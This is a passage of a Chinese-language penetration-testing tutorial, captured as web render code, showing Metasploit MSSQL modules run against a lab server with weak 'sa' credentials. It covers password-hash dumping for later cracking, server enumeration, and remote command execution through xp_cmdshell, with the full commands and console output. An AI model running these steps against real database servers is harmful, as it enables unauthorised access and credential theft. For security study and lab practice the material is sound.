Auxiliary module execution completed\nmsf auxiliary(scanner/mssql/mssql_hashdump) > \n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br")])]),n("p",[s._v("接下来,我们就可以使用其他工具爆破这些密码了。")]),s._v(" "),n("h2",{attrs:{id:"浏览mssql"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#浏览mssql"}},[s._v("#")]),s._v(" 浏览MSSQL")]),s._v(" "),n("p",[s._v("这里用到的是Metasploit的mssql_enum模块。")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/admin/mssql/mssql_enum\nshow options\nset RHOST 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/admin/mssql/mssql_enum\nmsf auxiliary(admin/mssql/mssql_enum) > show options\n\nModule options (auxiliary/admin/mssql/mssql_enum):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOST yes The target address\n RPORT 1433 yes The target port (TCP)\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(admin/mssql/mssql_enum) > set RHOST 192.168.109.139\nRHOST => 192.168.109.139\nmsf auxiliary(admin/mssql/mssql_enum) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(admin/mssql/mssql_enum) > run\n\n[*] 192.168.109.139:1433 - Running MS SQL Server Enumeration...\n[*] 192.168.109.139:1433 - Version:\n[*] Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64) \n[*] Jun 28 2012 08:36:30 \n[*] Copyright (c) Microsoft Corporation\n[*] Express Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)\n[*] 192.168.109.139:1433 - Configuration Parameters:\n[*] 192.168.109.139:1433 - C2 Audit Mode is Not Enabled\n[*] 192.168.109.139:1433 - xp_cmdshell is Enabled\n[*] 192.168.109.139:1433 - remote access is Enabled\n[*] 192.168.109.139:1433 - allow updates is Not Enabled\n[*] 192.168.109.139:1433 - Database Mail XPs is Not Enabled\n[*] 192.168.109.139:1433 - Ole Automation Procedures are Not Enabled\n[*] 192.168.109.139:1433 - Databases on the server:\n[*] 192.168.109.139:1433 - Database name:master\n[*] 192.168.109.139:1433 - Database Files for master:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\master.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\mastlog.ldf\n[*] 192.168.109.139:1433 - Database name:tempdb\n[*] 192.168.109.139:1433 - Database Files for tempdb:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\tempdb.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\templog.ldf\n[*] 192.168.109.139:1433 - Database name:model\n[*] 192.168.109.139:1433 - Database Files for model:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\model.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\modellog.ldf\n[*] 192.168.109.139:1433 - Database name:msdb\n[*] 192.168.109.139:1433 - Database Files for msdb:\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\MSDBData.mdf\n[*] 192.168.109.139:1433 - d:\\Program Files\\Microsoft SQL Server\\MSSQL10_50.MSSQLSERVER\\MSSQL\\DATA\\MSDBLog.ldf\n[*] 192.168.109.139:1433 - System Logins on this Server:\n[*] 192.168.109.139:1433 - sa\n[*] 192.168.109.139:1433 - ##MS_SQLResourceSigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_SQLReplicationSigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_SQLAuthenticatorCertificate##\n[*] 192.168.109.139:1433 - ##MS_PolicySigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_SmoExtendedSigningCertificate##\n[*] 192.168.109.139:1433 - ##MS_PolicyTsqlExecutionLogin##\n[*] 192.168.109.139:1433 - NT AUTHORITY\\SYSTEM\n[*] 192.168.109.139:1433 - NT SERVICE\\MSSQLSERVER\n[*] 192.168.109.139:1433 - liuyazhuang-PC\\liuyazhuang\n[*] 192.168.109.139:1433 - BUILTIN\\Users\n[*] 192.168.109.139:1433 - ##MS_PolicyEventProcessingLogin##\n[*] 192.168.109.139:1433 - ##MS_AgentSigningCertificate##\n[*] 192.168.109.139:1433 - Disabled Accounts:\n[*] 192.168.109.139:1433 - ##MS_PolicyTsqlExecutionLogin##\n[*] 192.168.109.139:1433 - ##MS_PolicyEventProcessingLogin##\n[*] 192.168.109.139:1433 - No Accounts Policy is set for:\n[*] 192.168.109.139:1433 - All System Accounts have the Windows Account Policy Applied to them.\n[*] 192.168.109.139:1433 - Password Expiration is not checked for:\n[*] 192.168.109.139:1433 - sa\n[*] 192.168.109.139:1433 - ##MS_PolicyTsqlExecutionLogin##\n[*] 192.168.109.139:1433 - ##MS_PolicyEventProcessingLogin##\n[*] 192.168.109.139:1433 - System Admin Logins on this Server:\n[*] 192.168.109.139:1433 - sa\n[*] 192.168.109.139:1433 - NT AUTHORITY\\SYSTEM\n[*] 192.168.109.139:1433 - NT SERVICE\\MSSQLSERVER\n[*] 192.168.109.139:1433 - liuyazhuang-PC\\liuyazhuang\n[*] 192.168.109.139:1433 - Windows Logins on this Server:\n[*] 192.168.109.139:1433 - NT AUTHORITY\\SYSTEM\n[*] 192.168.109.139:1433 - liuyazhuang-PC\\liuyazhuang\n[*] 192.168.109.139:1433 - Windows Groups that can logins on this Server:\n[*] 192.168.109.139:1433 - NT SERVICE\\MSSQLSERVER\n[*] 192.168.109.139:1433 - BUILTIN\\Users\n[*] 192.168.109.139:1433 - Accounts with Username and Password being the same:\n[*] 192.168.109.139:1433 - No Account with its password being the same as its username was found.\n[*] 192.168.109.139:1433 - Accounts with empty password:\n[*] 192.168.109.139:1433 - No Accounts with empty passwords where found.\n[*] 192.168.109.139:1433 - Stored Procedures with Public Execute Permission found:\n[*] 192.168.109.139:1433 - sp_replsetsyncstatus\n[*] 192.168.109.139:1433 - sp_replcounters\n[*] 192.168.109.139:1433 - sp_replsendtoqueue\n[*] 192.168.109.139:1433 - sp_resyncexecutesql\n[*] 192.168.109.139:1433 - sp_prepexecrpc\n[*] 192.168.109.139:1433 - sp_repltrans\n[*] 192.168.109.139:1433 - sp_xml_preparedocument\n[*] 192.168.109.139:1433 - xp_qv\n[*] 192.168.109.139:1433 - xp_getnetname\n[*] 192.168.109.139:1433 - sp_releaseschemalock\n[*] 192.168.109.139:1433 - sp_refreshview\n[*] 192.168.109.139:1433 - sp_replcmds\n[*] 192.168.109.139:1433 - sp_unprepare\n[*] 192.168.109.139:1433 - sp_resyncprepare\n[*] 192.168.109.139:1433 - sp_createorphan\n[*] 192.168.109.139:1433 - xp_dirtree\n[*] 192.168.109.139:1433 - sp_replwritetovarbin\n[*] 192.168.109.139:1433 - sp_replsetoriginator\n[*] 192.168.109.139:1433 - sp_xml_removedocument\n[*] 192.168.109.139:1433 - sp_repldone\n[*] 192.168.109.139:1433 - sp_reset_connection\n[*] 192.168.109.139:1433 - xp_fileexist\n[*] 192.168.109.139:1433 - xp_fixeddrives\n[*] 192.168.109.139:1433 - sp_getschemalock\n[*] 192.168.109.139:1433 - sp_prepexec\n[*] 192.168.109.139:1433 - xp_revokelogin\n[*] 192.168.109.139:1433 - sp_resyncuniquetable\n[*] 192.168.109.139:1433 - sp_replflush\n[*] 192.168.109.139:1433 - sp_resyncexecute\n[*] 192.168.109.139:1433 - xp_grantlogin\n[*] 192.168.109.139:1433 - sp_droporphans\n[*] 192.168.109.139:1433 - xp_regread\n[*] 192.168.109.139:1433 - sp_getbindtoken\n[*] 192.168.109.139:1433 - sp_replincrementlsn\n[*] 192.168.109.139:1433 - Instances found on this server:\n[*] 192.168.109.139:1433 - MSSQLSERVER\n[*] 192.168.109.139:1433 - Default Server Instance SQL Server Service is running under the privilege of:\n[*] 192.168.109.139:1433 - NT AUTHORITY\\NETWORKSERVICE\n[*] Auxiliary module execution completed\n')])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br"),n("span",{staticClass:"line-number"},[s._v("37")]),n("br"),n("span",{staticClass:"line-number"},[s._v("38")]),n("br"),n("span",{staticClass:"line-number"},[s._v("39")]),n("br"),n("span",{staticClass:"line-number"},[s._v("40")]),n("br"),n("span",{staticClass:"line-number"},[s._v("41")]),n("br"),n("span",{staticClass:"line-number"},[s._v("42")]),n("br"),n("span",{staticClass:"line-number"},[s._v("43")]),n("br"),n("span",{staticClass:"line-number"},[s._v("44")]),n("br"),n("span",{staticClass:"line-number"},[s._v("45")]),n("br"),n("span",{staticClass:"line-number"},[s._v("46")]),n("br"),n("span",{staticClass:"line-number"},[s._v("47")]),n("br"),n("span",{staticClass:"line-number"},[s._v("48")]),n("br"),n("span",{staticClass:"line-number"},[s._v("49")]),n("br"),n("span",{staticClass:"line-number"},[s._v("50")]),n("br"),n("span",{staticClass:"line-number"},[s._v("51")]),n("br"),n("span",{staticClass:"line-number"},[s._v("52")]),n("br"),n("span",{staticClass:"line-number"},[s._v("53")]),n("br"),n("span",{staticClass:"line-number"},[s._v("54")]),n("br"),n("span",{staticClass:"line-number"},[s._v("55")]),n("br"),n("span",{staticClass:"line-number"},[s._v("56")]),n("br"),n("span",{staticClass:"line-number"},[s._v("57")]),n("br"),n("span",{staticClass:"line-number"},[s._v("58")]),n("br"),n("span",{staticClass:"line-number"},[s._v("59")]),n("br"),n("span",{staticClass:"line-number"},[s._v("60")]),n("br"),n("span",{staticClass:"line-number"},[s._v("61")]),n("br"),n("span",{staticClass:"line-number"},[s._v("62")]),n("br"),n("span",{staticClass:"line-number"},[s._v("63")]),n("br"),n("span",{staticClass:"line-number"},[s._v("64")]),n("br"),n("span",{staticClass:"line-number"},[s._v("65")]),n("br"),n("span",{staticClass:"line-number"},[s._v("66")]),n("br"),n("span",{staticClass:"line-number"},[s._v("67")]),n("br"),n("span",{staticClass:"line-number"},[s._v("68")]),n("br"),n("span",{staticClass:"line-number"},[s._v("69")]),n("br"),n("span",{staticClass:"line-number"},[s._v("70")]),n("br"),n("span",{staticClass:"line-number"},[s._v("71")]),n("br"),n("span",{staticClass:"line-number"},[s._v("72")]),n("br"),n("span",{staticClass:"line-number"},[s._v("73")]),n("br"),n("span",{staticClass:"line-number"},[s._v("74")]),n("br"),n("span",{staticClass:"line-number"},[s._v("75")]),n("br"),n("span",{staticClass:"line-number"},[s._v("76")]),n("br"),n("span",{staticClass:"line-number"},[s._v("77")]),n("br"),n("span",{staticClass:"line-number"},[s._v("78")]),n("br"),n("span",{staticClass:"line-number"},[s._v("79")]),n("br"),n("span",{staticClass:"line-number"},[s._v("80")]),n("br"),n("span",{staticClass:"line-number"},[s._v("81")]),n("br"),n("span",{staticClass:"line-number"},[s._v("82")]),n("br"),n("span",{staticClass:"line-number"},[s._v("83")]),n("br"),n("span",{staticClass:"line-number"},[s._v("84")]),n("br"),n("span",{staticClass:"line-number"},[s._v("85")]),n("br"),n("span",{staticClass:"line-number"},[s._v("86")]),n("br"),n("span",{staticClass:"line-number"},[s._v("87")]),n("br"),n("span",{staticClass:"line-number"},[s._v("88")]),n("br"),n("span",{staticClass:"line-number"},[s._v("89")]),n("br"),n("span",{staticClass:"line-number"},[s._v("90")]),n("br"),n("span",{staticClass:"line-number"},[s._v("91")]),n("br"),n("span",{staticClass:"line-number"},[s._v("92")]),n("br"),n("span",{staticClass:"line-number"},[s._v("93")]),n("br"),n("span",{staticClass:"line-number"},[s._v("94")]),n("br"),n("span",{staticClass:"line-number"},[s._v("95")]),n("br"),n("span",{staticClass:"line-number"},[s._v("96")]),n("br"),n("span",{staticClass:"line-number"},[s._v("97")]),n("br"),n("span",{staticClass:"line-number"},[s._v("98")]),n("br"),n("span",{staticClass:"line-number"},[s._v("99")]),n("br"),n("span",{staticClass:"line-number"},[s._v("100")]),n("br"),n("span",{staticClass:"line-number"},[s._v("101")]),n("br"),n("span",{staticClass:"line-number"},[s._v("102")]),n("br"),n("span",{staticClass:"line-number"},[s._v("103")]),n("br"),n("span",{staticClass:"line-number"},[s._v("104")]),n("br"),n("span",{staticClass:"line-number"},[s._v("105")]),n("br"),n("span",{staticClass:"line-number"},[s._v("106")]),n("br"),n("span",{staticClass:"line-number"},[s._v("107")]),n("br"),n("span",{staticClass:"line-number"},[s._v("108")]),n("br"),n("span",{staticClass:"line-number"},[s._v("109")]),n("br"),n("span",{staticClass:"line-number"},[s._v("110")]),n("br"),n("span",{staticClass:"line-number"},[s._v("111")]),n("br"),n("span",{staticClass:"line-number"},[s._v("112")]),n("br"),n("span",{staticClass:"line-number"},[s._v("113")]),n("br"),n("span",{staticClass:"line-number"},[s._v("114")]),n("br"),n("span",{staticClass:"line-number"},[s._v("115")]),n("br"),n("span",{staticClass:"line-number"},[s._v("116")]),n("br"),n("span",{staticClass:"line-number"},[s._v("117")]),n("br"),n("span",{staticClass:"line-number"},[s._v("118")]),n("br"),n("span",{staticClass:"line-number"},[s._v("119")]),n("br"),n("span",{staticClass:"line-number"},[s._v("120")]),n("br"),n("span",{staticClass:"line-number"},[s._v("121")]),n("br"),n("span",{staticClass:"line-number"},[s._v("122")]),n("br"),n("span",{staticClass:"line-number"},[s._v("123")]),n("br"),n("span",{staticClass:"line-number"},[s._v("124")]),n("br"),n("span",{staticClass:"line-number"},[s._v("125")]),n("br"),n("span",{staticClass:"line-number"},[s._v("126")]),n("br"),n("span",{staticClass:"line-number"},[s._v("127")]),n("br"),n("span",{staticClass:"line-number"},[s._v("128")]),n("br")])]),n("h2",{attrs:{id:"重新载入xp-cmd功能"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#重新载入xp-cmd功能"}},[s._v("#")]),s._v(" 重新载入xp_cmd功能")]),s._v(" "),n("p",[s._v("这里用到的是Metasploit的mssql_exec, 通过重新载入禁用的xp_cmdshell功能来运行系统级的命令")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/admin/mssql/mssql_exec\nshow options\nset CMD 'ipconfig'\nset RHOST 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("msf > use auxiliary/admin/mssql/mssql_exec \nmsf auxiliary(admin/mssql/mssql_exec) > show options\n\nModule options (auxiliary/admin/mssql/mssql_exec):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n CMD cmd.exe /c echo OWNED > C:\\owned.exe no Command to execute\n PASSWORD no The password for the specified username\n RHOST yes The target address\n RPORT 1433 yes The target port (TCP)\n TDSENCRYPTION false yes Use TLS/SSL for TDS data \"Force Encryption\"\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(admin/mssql/mssql_exec) > set CMD 'ipconfig'\nCMD => ipconfig\nmsf auxiliary(admin/mssql/mssql_exec) > set RHOST 192.168.109.139\nRHOST => 192.168.109.139\nmsf auxiliary(admin/mssql/mssql_exec) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(admin/mssql/mssql_exec) > run\n\n[*] 192.168.109.139:1433 - SQL Query: EXEC master..xp_cmdshell 'ipconfig'\n\n\n\n output\n ------\n \n Windows IP M�n\n \n \n *g�w�M�hV VPN - VPN Client:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n �N*YQ�M�hV Bluetooth Q�~ޏ�c:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n �N*YQ�M�hV ,g0Wޏ�c:\n \n ޏ�cyr�[�v DNS T . . . . . . . : localdomain\n ,g0W���c IPv6 0W@W. . . . . . . . : fe80::ccb2:bf07:23ba:9925%11\n IPv4 0W@W . . . . . . . . . . . . : 192.168.109.139\n P[Q�cx . . . . . . . . . . . . : 255.255.255.0\n ؞��QsQ. . . . . . . . . . . . . : 192.168.109.2\n \n ��S��M�hV isatap.{5761F2CD-B72F-4D63-9594-8FFF71AE3A2D}:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n ��S��M�hV ,g0Wޏ�c* 6:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n ��S��M�hV isatap.localdomain:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : localdomain\n \n ��S��M�hV isatap.{BE1D7C8C-9941-432D-97A0-B5A8B6A37A0B}:\n \n �ZSO�r` . . . . . . . . . . . . : �ZSO�]�e_\n ޏ�cyr�[�v DNS T . . . . . . . : \n \n\n[*] Auxiliary module execution completed\nmsf auxiliary(admin/mssql/mssql_exec) > \n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br"),n("span",{staticClass:"line-number"},[s._v("6")]),n("br"),n("span",{staticClass:"line-number"},[s._v("7")]),n("br"),n("span",{staticClass:"line-number"},[s._v("8")]),n("br"),n("span",{staticClass:"line-number"},[s._v("9")]),n("br"),n("span",{staticClass:"line-number"},[s._v("10")]),n("br"),n("span",{staticClass:"line-number"},[s._v("11")]),n("br"),n("span",{staticClass:"line-number"},[s._v("12")]),n("br"),n("span",{staticClass:"line-number"},[s._v("13")]),n("br"),n("span",{staticClass:"line-number"},[s._v("14")]),n("br"),n("span",{staticClass:"line-number"},[s._v("15")]),n("br"),n("span",{staticClass:"line-number"},[s._v("16")]),n("br"),n("span",{staticClass:"line-number"},[s._v("17")]),n("br"),n("span",{staticClass:"line-number"},[s._v("18")]),n("br"),n("span",{staticClass:"line-number"},[s._v("19")]),n("br"),n("span",{staticClass:"line-number"},[s._v("20")]),n("br"),n("span",{staticClass:"line-number"},[s._v("21")]),n("br"),n("span",{staticClass:"line-number"},[s._v("22")]),n("br"),n("span",{staticClass:"line-number"},[s._v("23")]),n("br"),n("span",{staticClass:"line-number"},[s._v("24")]),n("br"),n("span",{staticClass:"line-number"},[s._v("25")]),n("br"),n("span",{staticClass:"line-number"},[s._v("26")]),n("br"),n("span",{staticClass:"line-number"},[s._v("27")]),n("br"),n("span",{staticClass:"line-number"},[s._v("28")]),n("br"),n("span",{staticClass:"line-number"},[s._v("29")]),n("br"),n("span",{staticClass:"line-number"},[s._v("30")]),n("br"),n("span",{staticClass:"line-number"},[s._v("31")]),n("br"),n("span",{staticClass:"line-number"},[s._v("32")]),n("br"),n("span",{staticClass:"line-number"},[s._v("33")]),n("br"),n("span",{staticClass:"line-number"},[s._v("34")]),n("br"),n("span",{staticClass:"line-number"},[s._v("35")]),n("br"),n("span",{staticClass:"line-number"},[s._v("36")]),n("br"),n("span",{staticClass:"line-number"},[s._v("37")]),n("br"),n("span",{staticClass:"line-number"},[s._v("38")]),n("br"),n("span",{staticClass:"line-number"},[s._v("39")]),n("br"),n("span",{staticClass:"line-number"},[s._v("40")]),n("br"),n("span",{staticClass:"line-number"},[s._v("41")]),n("br"),n("span",{staticClass:"line-number"},[s._v("42")]),n("br"),n("span",{staticClass:"line-number"},[s._v("43")]),n("br"),n("span",{staticClass:"line-number"},[s._v("44")]),n("br"),n("span",{staticClass:"line-number"},[s._v("45")]),n("br"),n("span",{staticClass:"line-number"},[s._v("46")]),n("br"),n("span",{staticClass:"line-number"},[s._v("47")]),n("br"),n("span",{staticClass:"line-number"},[s._v("48")]),n("br"),n("span",{staticClass:"line-number"},[s._v("49")]),n("br"),n("span",{staticClass:"line-number"},[s._v("50")]),n("br"),n("span",{staticClass:"line-number"},[s._v("51")]),n("br"),n("span",{staticClass:"line-number"},[s._v("52")]),n("br"),n("span",{staticClass:"line-number"},[s._v("53")]),n("br"),n("span",{staticClass:"line-number"},[s._v("54")]),n("br"),n("span",{staticClass:"line-number"},[s._v("55")]),n("br"),n("span",{staticClass:"line-number"},[s._v("56")]),n("br"),n("span",{staticClass:"line-number"},[s._v("57")]),n("br"),n("span",{staticClass:"line-number"},[s._v("58")]),n("br"),n("span",{staticClass:"line-number"},[s._v("59")]),n("br"),n("span",{staticClass:"line-number"},[s._v("60")]),n("br"),n("span",{staticClass:"line-number"},[s._v("61")]),n("br"),n("span",{staticClass:"line-number"},[s._v("62")]),n("br"),n("span",{staticClass:"line-number"},[s._v("63")]),n("br"),n("span",{staticClass:"line-number"},[s._v("64")]),n("br"),n("span",{staticClass:"line-number"},[s._v("65")]),n("br"),n("span",{staticClass:"line-number"},[s._v("66")]),n("br"),n("span",{staticClass:"line-number"},[s._v("67")]),n("br"),n("span",{staticClass:"line-number"},[s._v("68")]),n("br"),n("span",{staticClass:"line-number"},[s._v("69")]),n("br"),n("span",{staticClass:"line-number"},[s._v("70")]),n("br"),n("span",{staticClass:"line-number"},[s._v("71")]),n("br"),n("span",{staticClass:"line-number"},[s._v("72")]),n("br"),n("span",{staticClass:"line-number"},[s._v("73")]),n("br"),n("span",{staticClass:"line-number"},[s._v("74")]),n("br")])]),n("h2",{attrs:{id:"运行sql查询命令"}},[n("a",{staticClass:"header-anchor",attrs:{href:"#运行sql查询命令"}},[s._v("#")]),s._v(" 运行SQL查询命令")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v("use auxiliary/admin/mssql/mssql_sql\nshow options\nset RHOST 192.168.109.139\nset PASSWORD 123456\nrun\n")])]),s._v(" "),n("div",{staticClass:"line-numbers-wrapper"},[n("span",{staticClass:"line-number"},[s._v("1")]),n("br"),n("span",{staticClass:"line-number"},[s._v("2")]),n("br"),n("span",{staticClass:"line-number"},[s._v("3")]),n("br"),n("span",{staticClass:"line-number"},[s._v("4")]),n("br"),n("span",{staticClass:"line-number"},[s._v("5")]),n("br")])]),n("p",[s._v("具体操作情况如下:")]),s._v(" "),n("div",{staticClass:"language- line-numbers-mode"},[n("pre",{pre:!0,attrs:{class:"language-text"}},[n("code",[s._v('msf > use auxiliary/admin/mssql/mssql_sql\nmsf auxiliary(admin/mssql/mssql_sql) > show options\n\nModule options (auxiliary/admin/mssql/mssql_sql):\n\n Name Current Setting Required Description\n ---- --------------- -------- -----------\n PASSWORD no The password for the specified username\n RHOST yes The target address\n RPORT 1433 yes The target port (TCP)\n SQL select @@version no The SQL query to execute\n TDSENCRYPTION false yes Use TLS/SSL for TDS data "Force Encryption"\n USERNAME sa no The username to authenticate as\n USE_WINDOWS_AUTHENT false yes Use windows authentification (requires DOMAIN option set)\n\nmsf auxiliary(admin/mssql/mssql_sql) > set RHOST 192.168.109.139\nRHOST => 192.168.109.139\nmsf auxiliary(admin/mssql/mssql_sql) > set PASSWORD 123456\nPASSWORD => 123456\nmsf auxiliary(admin/mssql/mssql_sql) > run\n\n[*] 192.168.109.139:1433 - SQL Query: select @@version\n[*] 192.168.109.139:1433 - Row Count: 1 (Status: 16 Command: 193)\n\n\n\n NULL\n ----\n Microsoft SQL Server 2008 R2 (SP2) - 10.50.4000.0 (X64) \n Jun 28 2012 08:36:30 \n Copyright (c) Microsoft Corporation\n Express Edition (64-bit) on Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)\n\n\n[*] Auxiliary module execution completed\nmsf auxiliary(admin/mssql/mssql_sql) > \n')])]),s._v(" 